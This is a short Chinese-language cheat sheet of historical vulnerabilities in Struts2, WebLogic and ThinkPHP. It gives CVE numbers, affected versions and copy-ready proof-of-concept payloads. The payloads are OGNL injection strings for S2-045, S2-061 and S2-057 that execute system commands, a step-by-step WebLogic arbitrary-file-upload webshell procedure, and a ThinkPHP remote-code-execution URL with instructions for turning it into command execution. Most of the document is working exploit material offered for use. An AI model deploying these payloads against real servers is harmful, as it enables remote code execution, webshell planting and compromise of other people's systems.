Struts2+Weblogic+ThinkPHP三大主流框架中间件历史漏洞
Struts2 框架漏洞
S2-045 CVE-2017-5638
影响版本:Struts 2.3.5 -2.3.31,2.5 -2.5.10
用法:Content-Type :POC
POC:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
S2-061 CVE-2020-17530
影响版本:Struts 2.0.0 -2.5.25
用法:url/?id=POC
POC:%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec+=+#application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'whoami'}).(#res=#exec.exec(#cmd))}
S2-057 CVE-2018-11776
影响版本:Struts 2.3 - 2.3.34,2.5 - 2.5.16
用法:url/POC
POC:/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('whoami')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/
Weblogic 中间件漏洞
CVE-2017-10271
漏洞名称:WebLogic XMLDecoder反序列化漏洞
影响版本:
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
漏洞地址:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
CVE-2018-2894
漏洞名称:Weblogic 任意文件上传漏洞
影响版本:
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
利用过程:
1、访问访问http://127.0.0.1:7001/ws_utc/config.do
2、然后上传jsp一句话木马,并查看时间戳
3、http://127.0.0.1:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell
ThinkPHP 框架漏洞
ThinkPHP 5.0.22/5.1.29 远程代码执行
漏洞名称:ThinkPHP5 5.0.22/5.1.29 远程代码执行
用法:url/POC
POC:/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
介绍:系统命令执行将vars[0]的phpinfo改成system,vars[1][]的值改成系统命令